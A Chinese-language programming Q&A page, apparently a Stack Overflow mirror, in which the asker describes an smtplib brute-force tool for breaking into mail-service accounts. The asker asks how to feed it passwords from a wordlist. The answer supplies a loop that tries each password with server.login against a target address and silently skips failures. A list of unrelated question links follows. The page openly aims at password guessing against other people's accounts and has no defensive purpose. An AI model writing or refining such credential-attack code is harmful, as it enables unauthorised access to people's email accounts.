python - 如何在 python 中将特定行作为蛮力工具的输入
问题描述
我已经使用smtplib 模块为顶级邮件服务创建了一个暴力破解工具,但我遇到了一个问题。问题是如何将文本文件作为输入。
我希望该工具应该从 wordlist 的第一行获取密码并尝试它,然后它会移动到下一个密码并尝试它。
我尝试的是: -
def wordlist():
global file
file = open('file.txt')
global max_line
max_line = int(input("Please enter the number of passwords (lines) in the worldist: "))
global line
line = file.readlines()
global line_no
line_no = 0
main()
def main():
line_no+=1
while max_line!=line_no:
server.login('target@email.com', line[count])
line_no+=1
if __name__ == "__main__":
wordlist()
简而言之,我想创建一个循环,其中该工具应该从 wordlist 中获取第一个密码并尝试它,然后移动到下一个。
解决方案
passwords=passwordsText.split("\n")
for i in passwords:
try:
server.login('target@email.com', str(i))
except Exception:
continue
也许像这样。
推荐阅读
- javascript - TypeError:饼图不是函数
- python - 解析嵌套的自定义 yaml 标签
- jquery - Jquery中的ID和类属性
- javascript - 将 JS 对象的字符串名称转换为 JS 对象的实例
- r - 从 R 对 RethinkDB 中的对象运行函数
- javascript - php json文件加载后如何发送promise get请求?
- excel - 如何在excel中创建一个公式来检查整数范围
- python - Python - pyad 创建用户名称中带有逗号
- scala - Antlr4 使用参数列表执行程序(Scala)
- java - 为什么 EncryptedPrivateKeyInfo 在 Java 中无法读取我的 PKCS#8 加密私钥?